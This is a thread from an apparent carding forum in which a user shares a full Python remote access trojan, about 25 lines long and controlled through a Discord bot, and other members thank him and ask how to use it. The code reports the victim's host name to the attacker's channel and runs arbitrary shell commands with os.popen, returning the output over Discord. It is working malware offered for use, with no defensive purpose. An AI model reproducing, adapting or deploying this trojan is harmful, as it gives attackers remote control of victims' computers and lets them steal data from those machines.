RAT in 25 lines of code

elfhack

0
Rep
3
Likes
Junior Carder
Posts
14
Threads
4
Joined
Jun 2020
Sign Up or Login to view this post and enjoy everything our site has to offer!
So here is a simple discord bot controlled rat i wrote in 25 lines of code. I hope you enjoy it and use it well.

here is the code.

Python:
from discord.ext import commands
import platform
import discord
import random
import os
TOKEN = ''#your discord bot token goes in here
secret = random.randint(1000000,999999999);secret = str(secret)
bot = commands.Bot(command_prefix='!')
@bot.event
async def on_ready():
    '''this is nothing'''
@bot.command()
async def show(ctx):
    name=platform.node()
    print(secret)
    await ctx.send(f"name : {name} secret : {secret}")
@bot.command()
async def execute(ctx):
    command = ctx.message.content;command = str(command)
    splitter = command.split(" ")
    secretCheck = splitter[1]
    if str(secretCheck) == str(secret):
        execute = os.popen(splitter[2]).read()
        await ctx.send(f"command output > {execute}")
bot.run(TOKEN)
 

incognitox

0
Rep
27
Likes
Gold Carder
Posts
125
Threads
3
Joined
Mar 2020
Sign Up or Login to view this post and enjoy everything our site has to offer!
Would be great if u explain how to use this one.

Thnx for sharing!
 

elfhack

0
Rep
3
Likes
Junior Carder
Posts
14
Threads
4
Joined
Jun 2020
Sign Up or Login to view this post and enjoy everything our site has to offer!
i will ask VRocker if he can edit it for me so i can add new stuff
 

mxlo

0
Rep
0
Likes
Junior Carder
Posts
11
Threads
0
Joined
Dec 2019
Sign Up or Login to view this post and enjoy everything our site has to offer!
thanks a lot mate for this